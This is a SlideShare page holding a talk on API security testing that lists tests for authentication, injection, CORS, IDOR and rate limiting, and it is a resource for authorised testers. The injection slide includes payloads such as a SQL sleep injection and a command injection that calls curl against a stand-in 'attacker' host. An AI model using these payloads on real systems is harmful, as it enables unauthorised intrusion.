SlideShare a Scribd company logo
8
Most read
15
Most read
18
Most read
API Security Testing
By: Riyaz Walikar
Appsecco | https://blog.appsecco.com
@riyazwalikar | @wincmdfu | https://ibreak.software
Quick talk on some things you can do while
testing APIs for security weaknesses
Before testing
• Ask and obtain written permission!
Before testing
• Enumerate your attack surface
• Use the API documentation (swagger etc.). If not provided, please ask, or
discover using OSINT (api.example.com or /api/docs etc.)
• For apps that consume the APIs, use the User Driven Testing Approach to
enumerate the APIs based on HTTP requests and responses
• Brute force endpoints using a custom dictionary or a large wordlist in
conjunction with the documentation and User Driven Testing
Approach. This technique attempts to find undocumented APIs
• Look through the JS code to find APIs that did not get called due to edge
cases
• Look through HTML comments as well
Common Tools to Test
Tools
• Burp Suite
• curl
• Fiddler
• Postman
• newman
• swagger
• SoapUI
• Rest-Assured
What to test for?
Authentication and Authorisation
• Especially, endpoints that use tokens instead of cookies.
• Look at how long it takes for the tokens to expire
• can the token be reused from a different IP
• can the token be created without the server
• does the token contain any sensitive information (JWT) etc.
• What happens when a token is passed using a different header
• Is the token stored in localStorage and is it cleared by the app when
user logs out
• Is the key hardcoded in the app?
Injection attacks
• Any state changing request (POST, DELETE, PUT etc. GET in some
cases) should be inspected for injection attacks.
• Any request having parameters must be tested with strings that are
known to break command context on the server.
• Like `'` or `" #` for example for SQL injection and `;` or `&` for
command injection.
• In some cases, because API devs normally build a middleware for API
requests, you may need to rely on blind queries (`'; SELECT sleep(100)
#` or `& curl http://attacker #`)
• For json contexts (mongo for example), use curly braces, inject in the
name (not the value) based on Content-Type of the request
Lookout for client side data consumption
• Any data that comes back from the server and is treated as a part of
DOM can reliably become an XSS issue
• User supplied input that comes back inside JSON responses may be
escaped since JSON is being treated as a transport container, but
DOM transformations can still cause the data to get tainted
• A tool like `Sboxr` can be used to identify sources and sinks for your
data and tell you where exactly is the data being consumed
Data categorisation and response data
• Categorise and identify if the data that is being received, is that
sensitive or not
• Context of sensitivity is important
• Is the transport layer secure
• Is the data inside the transport layer secure
Verify response content type
• In some cases, it may so happen that the API endpoints have a
malformed content type, in which browsers may use content sniffing
to determine whether to display or render the content.
• Content-Type: text/html instead of text/json
• `callback` URLs often fall prey to this since these reflect data sent to
the server via GET parameters
• Browsers will render any HTML characters returned in the response
based on the Content-Type
Lookout for Denial of Service condition
• Test your input to see how the API responds to malformed input
• These tests may create DoS conditions especially if the data is being
stored and presented to other users
• An example would be for SOAP APIs, passing an XML file containing
recursive entity expansion may result in memory exhaustion on the
server (xml bomb)
• Obviously don’t use the example from OWASP, but write a smaller
version of that so that the expansion causes a delay in response and
not someone losing their job or hangover on a Saturday morning
Data smuggling through middleware
• Most modern APIs get written with a middleware in between
• This could be a RBAC controller or a data parser
• Test to see if changing the requested content type causes the
application to behave differently
• `application/json` to `text/html`
• `application/xhtml+xml`
• `application/x-www-form-urlencoded`
• Passing additional headers like X-HTTP-Method-Override header to
change the actual processing of the web method may provide
bypasses as well
CSRF with APIs?
• APIs are not normally vulnerable to CSRF attacks
• Simply because the condition to perform a CSRF requires the
presence of an authentication token and APIs are designed to use
headers to pass tokens and not cookies (mostly)
• To set headers, you need to have created the request in the same
origin or your request will be subjected to CORS
• That said, CSRFs should be tested incase the server accepts requests
from any reflected origins and uses cookies to implement “Remember
Me” sort of functionality by maintaining state on the server
• Any unconventional stateful API implementation that uses cookies
must be tested like any other web application being tested for CSRF
Insecure Direct Object References
• Insecure Direct Object References form the basis for a lot of
Authorisation related attacks
• Changing a reference to an object mid request is a definite test for
APIs as authorisation layer may not anticipate all endpoints and
parameters
• Based on the code, for APIs that use routes, change the route
information in the URL to a parameterised request
• For example - `example.com/api/getfile/user/bob/file/4` to
`example.com/api/getfile?user=bob&file=4`
• This can be now attacked and tested for IDOR as it will very likely
bypass the middleware for authorisation
APIs and Cross Origin Requests
• If the API uses Cross Origin requests, verify that the requests are bound to
known origins
• Cross Origin attacks can be used to steal information and perform CSRF
attacks that involve non idempotent requests like PUT or DELETE
operations
• A CSRF can be used to read any tokens that the server may send when
attempting to identify the state of the session using cookies
• These requests raise pre-flight OPTIONS requests when a custom header is
inserted (`X-TOKEN`) or when a non-idempotent request is made
• Some API endpoints may reflect the origin as is, for example - `Origin:
attacker.com` will be reflected in the `Access-Control-Allow-Origin:
attacker.com` which does not solve anything
Impersonation logic
• Sometimes APIs may be written with the intent to provide access to a
different user's session
• If this is documented as a feature, understand how this is
implemented
• It could be as trivial as passing a `X-Authenticate-As:
otheruser@example.com` header
• The server verifies only this header to provide access when the API
was supposed to first check if you are allowed to send this header or
not (Authorisation failure)
Body data in non 2XX responses
• Look at different HTTP responses to see if they adhere to the HTTP
spec or not
• For example, a `401 Unauthorised` or `302 Redirect` response may
actually contain data in the response body
• For a 302, the browser will redirect based on the Location response
header but the 302 may contain data like additional APIs or client
templates
API rate limiting
• Test APIs for rate-limiting as well. The results for this may vary from
production and staging, so make sure you check this with the dev
and/or network teams
• Brute force attacks for API requests like password change or login etc.
can fall prey to this
• Be careful not to lockout any legit users, especially on production
• Context based testing!!!!
API rate limiting
• How the data is being sent and interpreted on the server when rate
limiting is applied is also a cause for concern
• For example, the WordPress xmlrpc can be abused to send a single
request with over 500 password variations to check if any of them
work for the login API
• Rate limiting per request will not work in such a case
Demo apps to learn API security testing
• Here are some apps that are deliberately vulnerable and have an API
backend to practice some of the attack vectors covered in this
presentation
• https://github.com/appsecco/dvcsharp-api
• https://github.com/snoopysecurity/dvws
• https://github.com/payatu/Tiredful-API/blob/master/README.md
• https://github.com/rapid7/hackazon
References
• https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-
exploit-them-d8d3c8600b32
• https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-1/
• https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-2/
• https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-3/
• https://github.com/riyazwalikar/injection-attacks-nosql-talk
Questions
• Riyaz Walikar
• @riyazwalikar
• @wincmdfu
• https://ibreak.software
• https://blog.appsecco.com

More Related Content

What's hot (20)

PPTX
Pentesting ReST API
Nutan Kumar Panda
 
PPT
Pentesting Using Burp Suite
jasonhaddix
 
PPT
Introduction to Web Application Penetration Testing
Anurag Srivastava
 
PDF
Web Application Penetration Testing
Priyanka Aash
 
PPTX
Burp suite
SOURABH DESHMUKH
 
PDF
OWASP Mobile Top 10
NowSecure
 
PPTX
Getting Started with API Security Testing
SmartBear
 
PPTX
Security testing
Khizra Sammad
 
PDF
Web application security & Testing
Deepu S Nath
 
PDF
Pentesting Rest API's by :- Gaurang Bhatnagar
OWASP Delhi
 
PPTX
Vulnerabilities in modern web applications
Niyas Nazar
 
PPTX
Security testing fundamentals
Cygnet Infotech
 
PPTX
Directory Traversal & File Inclusion Attacks
Raghav Bisht
 
PDF
OWASP Top 10 Web Application Vulnerabilities
Software Guru
 
PPTX
Rest API Security - A quick understanding of Rest API Security
Mohammed Fazuluddin
 
PPTX
OWASP Top 10 2021 Presentation (Jul 2022)
TzahiArabov
 
PDF
Introduction to burp suite
Utkarsh Bhargava
 
PPTX
Introduction to penetration testing
Nezar Alazzabi
 
PPTX
Deep dive into ssrf
n|u - The Open Security Community
 
PPTX
OWASP Top 10 2021 What's New
Michael Furman
 
Pentesting ReST API
Nutan Kumar Panda
 
Pentesting Using Burp Suite
jasonhaddix
 
Introduction to Web Application Penetration Testing
Anurag Srivastava
 
Web Application Penetration Testing
Priyanka Aash
 
Burp suite
SOURABH DESHMUKH
 
OWASP Mobile Top 10
NowSecure
 
Getting Started with API Security Testing
SmartBear
 
Security testing
Khizra Sammad
 
Web application security & Testing
Deepu S Nath
 
Pentesting Rest API's by :- Gaurang Bhatnagar
OWASP Delhi
 
Vulnerabilities in modern web applications
Niyas Nazar
 
Security testing fundamentals
Cygnet Infotech
 
Directory Traversal & File Inclusion Attacks
Raghav Bisht
 
OWASP Top 10 Web Application Vulnerabilities
Software Guru
 
Rest API Security - A quick understanding of Rest API Security
Mohammed Fazuluddin
 
OWASP Top 10 2021 Presentation (Jul 2022)
TzahiArabov
 
Introduction to burp suite
Utkarsh Bhargava
 
Introduction to penetration testing
Nezar Alazzabi
 
OWASP Top 10 2021 What's New
Michael Furman
 

Similar to Api security-testing (20)

PPTX
API Testing Using REST Assured with TestNG
Siddharth Sharma
 
PDF
REST API Recommendations
Jeelani Shaik
 
PPTX
POSTMAN.pptx
RamaKrishna970827
 
PPTX
Design API using RAML - basics
kunal vishe
 
PDF
restapitest-anil-200517181251.pdf
mrle7
 
PPTX
Rest API Testing
upadhyay_25
 
PPTX
RESTful Services
Jason Gerard
 
PPTX
Web Hacking Series Part 5
Aditya Kamat
 
PDF
CNIT 129S: Ch 3: Web Application Technologies
Sam Bowne
 
PDF
CNIT 129S - Ch 3: Web Application Technologies
Sam Bowne
 
PPTX
Unit 3_detailed_automotiving_mobiles.pptx
VijaySasanM21IT
 
PDF
(ATS6-PLAT04) Query service
BIOVIA
 
PDF
CNIT 129S: 10: Attacking Back-End Components
Sam Bowne
 
PDF
CNIT 129S: Ch 4: Mapping the Application
Sam Bowne
 
PPTX
Mule soft RAML API Designing
Raja Reddy
 
PDF
Api fundamentals
AgileDenver
 
PDF
Ch 3: Web Application Technologies
Sam Bowne
 
PDF
Api FUNdamentals #MHA2017
JoEllen Carter
 
PPTX
API Testing with Open Source Code and Cucumber
SmartBear
 
PPTX
Rest WebAPI with OData
Mahek Merchant
 
API Testing Using REST Assured with TestNG
Siddharth Sharma
 
REST API Recommendations
Jeelani Shaik
 
POSTMAN.pptx
RamaKrishna970827
 
Design API using RAML - basics
kunal vishe
 
restapitest-anil-200517181251.pdf
mrle7
 
Rest API Testing
upadhyay_25
 
RESTful Services
Jason Gerard
 
Web Hacking Series Part 5
Aditya Kamat
 
CNIT 129S: Ch 3: Web Application Technologies
Sam Bowne
 
CNIT 129S - Ch 3: Web Application Technologies
Sam Bowne
 
Unit 3_detailed_automotiving_mobiles.pptx
VijaySasanM21IT
 
(ATS6-PLAT04) Query service
BIOVIA
 
CNIT 129S: 10: Attacking Back-End Components
Sam Bowne
 
CNIT 129S: Ch 4: Mapping the Application
Sam Bowne
 
Mule soft RAML API Designing
Raja Reddy
 
Api fundamentals
AgileDenver
 
Ch 3: Web Application Technologies
Sam Bowne
 
Api FUNdamentals #MHA2017
JoEllen Carter
 
API Testing with Open Source Code and Cucumber
SmartBear
 
Rest WebAPI with OData
Mahek Merchant
 
Ad

More from n|u - The Open Security Community (20)

PDF
Hardware security testing 101 (Null - Delhi Chapter)
n|u - The Open Security Community
 
PPTX
SSRF exploit the trust relationship
n|u - The Open Security Community
 
PDF
Metasploit primary
n|u - The Open Security Community
 
PDF
Introduction to TLS 1.3
n|u - The Open Security Community
 
PDF
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
n|u - The Open Security Community
 
PDF
Talking About SSRF,CRLF
n|u - The Open Security Community
 
PPTX
Building active directory lab for red teaming
n|u - The Open Security Community
 
PPTX
Owning a company through their logs
n|u - The Open Security Community
 
PPTX
Introduction to shodan
n|u - The Open Security Community
 
PDF
Detecting persistence in windows
n|u - The Open Security Community
 
PPTX
Frida - Objection Tool Usage
n|u - The Open Security Community
 
PDF
OSQuery - Monitoring System Process
n|u - The Open Security Community
 
PDF
DevSecOps Jenkins Pipeline -Security
n|u - The Open Security Community
 
PDF
Extensible markup language attacks
n|u - The Open Security Community
 
PPTX
Linux for hackers
n|u - The Open Security Community
 
PDF
Android Pentesting
n|u - The Open Security Community
 
PDF
News bytes null 200314121904
n|u - The Open Security Community
 
Hardware security testing 101 (Null - Delhi Chapter)
n|u - The Open Security Community
 
SSRF exploit the trust relationship
n|u - The Open Security Community
 
Introduction to TLS 1.3
n|u - The Open Security Community
 
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
n|u - The Open Security Community
 
Talking About SSRF,CRLF
n|u - The Open Security Community
 
Building active directory lab for red teaming
n|u - The Open Security Community
 
Owning a company through their logs
n|u - The Open Security Community
 
Introduction to shodan
n|u - The Open Security Community
 
Detecting persistence in windows
n|u - The Open Security Community
 
Frida - Objection Tool Usage
n|u - The Open Security Community
 
OSQuery - Monitoring System Process
n|u - The Open Security Community
 
DevSecOps Jenkins Pipeline -Security
n|u - The Open Security Community
 
Extensible markup language attacks
n|u - The Open Security Community
 
News bytes null 200314121904
n|u - The Open Security Community
 
Ad

Recently uploaded (20)

PPTX
Artificial Intelligence in Gastroentrology: Advancements and Future Presprec...
AyanHossain
 
PDF
The Minister of Tourism, Culture and Creative Arts, Abla Dzifa Gomashie has e...
nservice241
 
PPTX
Introduction to Probability(basic) .pptx
purohitanuj034
 
PPTX
20250924 Navigating the Future: How to tell the difference between an emergen...
McGuinness Institute
 
DOCX
Modul Ajar Deep Learning Bahasa Inggris Kelas 11 Terbaru 2025
wahyurestu63
 
PPTX
How to Track Skills & Contracts Using Odoo 18 Employee
Celine George
 
PPTX
Top 10 AI Tools, Like ChatGPT. You Must Learn In 2025
Digilearnings
 
DOCX
pgdei-UNIT -V Neurological Disorders & developmental disabilities
JELLA VISHNU DURGA PRASAD
 
PPTX
Cybersecurity: How to Protect your Digital World from Hackers
vaidikpanda4
 
PDF
Tips for Writing the Research Title with Examples
Thelma Villaflores
 
PPTX
Sonnet 130_ My Mistress’ Eyes Are Nothing Like the Sun By William Shakespear...
DhatriParmar
 
PDF
John Keats introduction and list of his important works
vatsalacpr
 
PPTX
Virus sequence retrieval from NCBI database
yamunaK13
 
PPTX
Python-Application-in-Drug-Design by R D Jawarkar.pptx
Rahul Jawarkar
 
PDF
BÀI TẬP TEST BỔ TRỢ THEO TỪNG CHỦ ĐỀ CỦA TỪNG UNIT KÈM BÀI TẬP NGHE - TIẾNG A...
Nguyen Thanh Tu Collection
 
PPTX
TOP 10 AI TOOLS YOU MUST LEARN TO SURVIVE IN 2025 AND ABOVE
digilearnings.com
 
DOCX
Unit 5: Speech-language and swallowing disorders
JELLA VISHNU DURGA PRASAD
 
PPTX
ENGLISH 8 WEEK 3 Q1 - Analyzing the linguistic, historical, andor biographica...
OliverOllet
 
PPTX
Applications of matrices In Real Life_20250724_091307_0000.pptx
gehlotkrish03
 
PPTX
I INCLUDED THIS TOPIC IS INTELLIGENCE DEFINITION, MEANING, INDIVIDUAL DIFFERE...
parmarjuli1412
 
Artificial Intelligence in Gastroentrology: Advancements and Future Presprec...
AyanHossain
 
The Minister of Tourism, Culture and Creative Arts, Abla Dzifa Gomashie has e...
nservice241
 
Introduction to Probability(basic) .pptx
purohitanuj034
 
20250924 Navigating the Future: How to tell the difference between an emergen...
McGuinness Institute
 
Modul Ajar Deep Learning Bahasa Inggris Kelas 11 Terbaru 2025
wahyurestu63
 
How to Track Skills & Contracts Using Odoo 18 Employee
Celine George
 
Top 10 AI Tools, Like ChatGPT. You Must Learn In 2025
Digilearnings
 
pgdei-UNIT -V Neurological Disorders & developmental disabilities
JELLA VISHNU DURGA PRASAD
 
Cybersecurity: How to Protect your Digital World from Hackers
vaidikpanda4
 
Tips for Writing the Research Title with Examples
Thelma Villaflores
 
Sonnet 130_ My Mistress’ Eyes Are Nothing Like the Sun By William Shakespear...
DhatriParmar
 
John Keats introduction and list of his important works
vatsalacpr
 
Virus sequence retrieval from NCBI database
yamunaK13
 
Python-Application-in-Drug-Design by R D Jawarkar.pptx
Rahul Jawarkar
 
BÀI TẬP TEST BỔ TRỢ THEO TỪNG CHỦ ĐỀ CỦA TỪNG UNIT KÈM BÀI TẬP NGHE - TIẾNG A...
Nguyen Thanh Tu Collection
 
TOP 10 AI TOOLS YOU MUST LEARN TO SURVIVE IN 2025 AND ABOVE
digilearnings.com
 
Unit 5: Speech-language and swallowing disorders
JELLA VISHNU DURGA PRASAD
 
ENGLISH 8 WEEK 3 Q1 - Analyzing the linguistic, historical, andor biographica...
OliverOllet
 
Applications of matrices In Real Life_20250724_091307_0000.pptx
gehlotkrish03
 
I INCLUDED THIS TOPIC IS INTELLIGENCE DEFINITION, MEANING, INDIVIDUAL DIFFERE...
parmarjuli1412
 

Api security-testing

  • 1. API Security Testing By: Riyaz Walikar Appsecco | https://blog.appsecco.com @riyazwalikar | @wincmdfu | https://ibreak.software
  • 2. Quick talk on some things you can do while testing APIs for security weaknesses
  • 3. Before testing • Ask and obtain written permission!
  • 4. Before testing • Enumerate your attack surface • Use the API documentation (swagger etc.). If not provided, please ask, or discover using OSINT (api.example.com or /api/docs etc.) • For apps that consume the APIs, use the User Driven Testing Approach to enumerate the APIs based on HTTP requests and responses • Brute force endpoints using a custom dictionary or a large wordlist in conjunction with the documentation and User Driven Testing Approach. This technique attempts to find undocumented APIs • Look through the JS code to find APIs that did not get called due to edge cases • Look through HTML comments as well
  • 6. Tools • Burp Suite • curl • Fiddler • Postman • newman • swagger • SoapUI • Rest-Assured
  • 8. Authentication and Authorisation • Especially, endpoints that use tokens instead of cookies. • Look at how long it takes for the tokens to expire • can the token be reused from a different IP • can the token be created without the server • does the token contain any sensitive information (JWT) etc. • What happens when a token is passed using a different header • Is the token stored in localStorage and is it cleared by the app when user logs out • Is the key hardcoded in the app?
  • 9. Injection attacks • Any state changing request (POST, DELETE, PUT etc. GET in some cases) should be inspected for injection attacks. • Any request having parameters must be tested with strings that are known to break command context on the server. • Like `'` or `" #` for example for SQL injection and `;` or `&` for command injection. • In some cases, because API devs normally build a middleware for API requests, you may need to rely on blind queries (`'; SELECT sleep(100) #` or `& curl http://attacker #`) • For json contexts (mongo for example), use curly braces, inject in the name (not the value) based on Content-Type of the request
  • 10. Lookout for client side data consumption • Any data that comes back from the server and is treated as a part of DOM can reliably become an XSS issue • User supplied input that comes back inside JSON responses may be escaped since JSON is being treated as a transport container, but DOM transformations can still cause the data to get tainted • A tool like `Sboxr` can be used to identify sources and sinks for your data and tell you where exactly is the data being consumed
  • 11. Data categorisation and response data • Categorise and identify if the data that is being received, is that sensitive or not • Context of sensitivity is important • Is the transport layer secure • Is the data inside the transport layer secure
  • 12. Verify response content type • In some cases, it may so happen that the API endpoints have a malformed content type, in which browsers may use content sniffing to determine whether to display or render the content. • Content-Type: text/html instead of text/json • `callback` URLs often fall prey to this since these reflect data sent to the server via GET parameters • Browsers will render any HTML characters returned in the response based on the Content-Type
  • 13. Lookout for Denial of Service condition • Test your input to see how the API responds to malformed input • These tests may create DoS conditions especially if the data is being stored and presented to other users • An example would be for SOAP APIs, passing an XML file containing recursive entity expansion may result in memory exhaustion on the server (xml bomb) • Obviously don’t use the example from OWASP, but write a smaller version of that so that the expansion causes a delay in response and not someone losing their job or hangover on a Saturday morning
  • 14. Data smuggling through middleware • Most modern APIs get written with a middleware in between • This could be a RBAC controller or a data parser • Test to see if changing the requested content type causes the application to behave differently • `application/json` to `text/html` • `application/xhtml+xml` • `application/x-www-form-urlencoded` • Passing additional headers like X-HTTP-Method-Override header to change the actual processing of the web method may provide bypasses as well
  • 15. CSRF with APIs? • APIs are not normally vulnerable to CSRF attacks • Simply because the condition to perform a CSRF requires the presence of an authentication token and APIs are designed to use headers to pass tokens and not cookies (mostly) • To set headers, you need to have created the request in the same origin or your request will be subjected to CORS • That said, CSRFs should be tested incase the server accepts requests from any reflected origins and uses cookies to implement “Remember Me” sort of functionality by maintaining state on the server • Any unconventional stateful API implementation that uses cookies must be tested like any other web application being tested for CSRF
  • 16. Insecure Direct Object References • Insecure Direct Object References form the basis for a lot of Authorisation related attacks • Changing a reference to an object mid request is a definite test for APIs as authorisation layer may not anticipate all endpoints and parameters • Based on the code, for APIs that use routes, change the route information in the URL to a parameterised request • For example - `example.com/api/getfile/user/bob/file/4` to `example.com/api/getfile?user=bob&file=4` • This can be now attacked and tested for IDOR as it will very likely bypass the middleware for authorisation
  • 17. APIs and Cross Origin Requests • If the API uses Cross Origin requests, verify that the requests are bound to known origins • Cross Origin attacks can be used to steal information and perform CSRF attacks that involve non idempotent requests like PUT or DELETE operations • A CSRF can be used to read any tokens that the server may send when attempting to identify the state of the session using cookies • These requests raise pre-flight OPTIONS requests when a custom header is inserted (`X-TOKEN`) or when a non-idempotent request is made • Some API endpoints may reflect the origin as is, for example - `Origin: attacker.com` will be reflected in the `Access-Control-Allow-Origin: attacker.com` which does not solve anything
  • 18. Impersonation logic • Sometimes APIs may be written with the intent to provide access to a different user's session • If this is documented as a feature, understand how this is implemented • It could be as trivial as passing a `X-Authenticate-As: [email protected]` header • The server verifies only this header to provide access when the API was supposed to first check if you are allowed to send this header or not (Authorisation failure)
  • 19. Body data in non 2XX responses • Look at different HTTP responses to see if they adhere to the HTTP spec or not • For example, a `401 Unauthorised` or `302 Redirect` response may actually contain data in the response body • For a 302, the browser will redirect based on the Location response header but the 302 may contain data like additional APIs or client templates
  • 20. API rate limiting • Test APIs for rate-limiting as well. The results for this may vary from production and staging, so make sure you check this with the dev and/or network teams • Brute force attacks for API requests like password change or login etc. can fall prey to this • Be careful not to lockout any legit users, especially on production • Context based testing!!!!
  • 21. API rate limiting • How the data is being sent and interpreted on the server when rate limiting is applied is also a cause for concern • For example, the WordPress xmlrpc can be abused to send a single request with over 500 password variations to check if any of them work for the login API • Rate limiting per request will not work in such a case
  • 22. Demo apps to learn API security testing • Here are some apps that are deliberately vulnerable and have an API backend to practice some of the attack vectors covered in this presentation • https://github.com/appsecco/dvcsharp-api • https://github.com/snoopysecurity/dvws • https://github.com/payatu/Tiredful-API/blob/master/README.md • https://github.com/rapid7/hackazon
  • 23. References • https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to- exploit-them-d8d3c8600b32 • https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-1/ • https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-2/ • https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-3/ • https://github.com/riyazwalikar/injection-attacks-nosql-talk
  • 24. Questions • Riyaz Walikar • @riyazwalikar • @wincmdfu • https://ibreak.software • https://blog.appsecco.com